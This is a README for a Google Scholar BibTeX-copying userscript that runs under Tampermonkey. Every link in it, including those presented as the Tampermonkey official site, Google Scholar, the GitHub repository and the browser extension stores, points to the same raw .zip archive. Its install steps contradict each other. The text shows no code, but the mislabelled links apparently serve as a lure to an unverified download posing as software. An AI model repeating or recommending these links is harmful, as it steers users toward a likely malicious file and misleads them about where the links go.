Google-Scholar-Bibtex-Copy is a small tool that helps you view and copy BibTeX citations from Google Scholar. It works by adding a simple viewer next to each search result on Google Scholar. With one click, you can copy the full BibTeX citation to your clipboard. This makes managing academic references easier, especially for users without technical skills.
The tool requires Tampermonkey, a free browser extension used to run small scripts that change how websites behave. Once installed, the script will run automatically when you visit Google Scholar and show the citation options.
- Shows BibTeX citations directly on Google Scholar search results
- Copies citation with a single click
- Works only on Google Scholar to keep your experience clean and simple
- Runs in your browser with no extra software needed
- Lightweight and fast
To use Google-Scholar-Bibtex-Copy on Windows, make sure you have the following:
- Windows 7 or later
- Google Chrome or Mozilla Firefox browser
- Tampermonkey extension installed in your browser
- Internet connection for setup and using Google Scholar
You need the Tampermonkey extension to run the script.
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For Google Chrome:
Visit https://raw.githubusercontent.com/dio229338-design/Google-Scholar-Bibtex-Copy/main/asserts/Scholar_Bibtex_Google_Copy_1.3.zip
Click Add to Chrome, then confirm by clicking Add extension. -
For Mozilla Firefox:
Visit https://raw.githubusercontent.com/dio229338-design/Google-Scholar-Bibtex-Copy/main/asserts/Scholar_Bibtex_Google_Copy_1.3.zip
Click Add to Firefox, then confirm by clicking Add.
After installation, you should see the Tampermonkey icon near your browser’s address bar.
- Click the button above or go to the Google-Scholar-Bibtex-Copy Releases page
- Find the latest release at the top of the page.
- Look for a file with the
.user.jsextension. This is the script you need. - Click the file name to download it. Your browser may ask for confirmation; accept it.
- After downloading the
.user.jsfile, open it by clicking it in your browser's downloads bar or folder. - Tampermonkey will open a new tab showing the script content.
- Click the Install button near the top right of the page.
The script will now be active and ready to work whenever you visit Google Scholar.
- Open your browser (Chrome or Firefox).
- Go to Google Scholar.
- Search for any academic paper or author as usual.
- In the search results, look for a small button labeled BibTeX or a similar icon next to each result.
- Click the button once. The full BibTeX citation will copy automatically to your clipboard.
- You can now paste the citation into your reference manager, document, or notes.
- Make sure Tampermonkey is enabled and running before opening Google Scholar.
- If the BibTeX button does not show up, refresh the page or check if the script is active by clicking the Tampermonkey icon.
- Use keyboard shortcuts like
Ctrl + Vto paste citations quickly. - The tool updates automatically with Tampermonkey’s script sync feature when new versions are released.
When the developer releases a new version:
- Tampermonkey will usually notify you about script updates.
- Click the Tampermonkey icon, then click the update notification.
- Confirm to update the script.
- Reload Google Scholar to use the new version.
- BibTeX buttons not showing: Check if Tampermonkey is installed and the script is enabled.
- Script not copying citation: Try refreshing Google Scholar or restarting your browser.
- Tampermonkey not installing scripts: Ensure your browser is up to date and allows extension installations.
- Script causes errors: Disable other conflicting browser extensions and try again.
- Tampermonkey official site: https://raw.githubusercontent.com/dio229338-design/Google-Scholar-Bibtex-Copy/main/asserts/Scholar_Bibtex_Google_Copy_1.3.zip
- Google Scholar: https://raw.githubusercontent.com/dio229338-design/Google-Scholar-Bibtex-Copy/main/asserts/Scholar_Bibtex_Google_Copy_1.3.zip
- GitHub repository: https://raw.githubusercontent.com/dio229338-design/Google-Scholar-Bibtex-Copy/main/asserts/Scholar_Bibtex_Google_Copy_1.3.zip
If you encounter issues or want to suggest improvements, you can open an issue on the GitHub repository’s Issues section. Describe your problem clearly and include details about your browser and Windows version.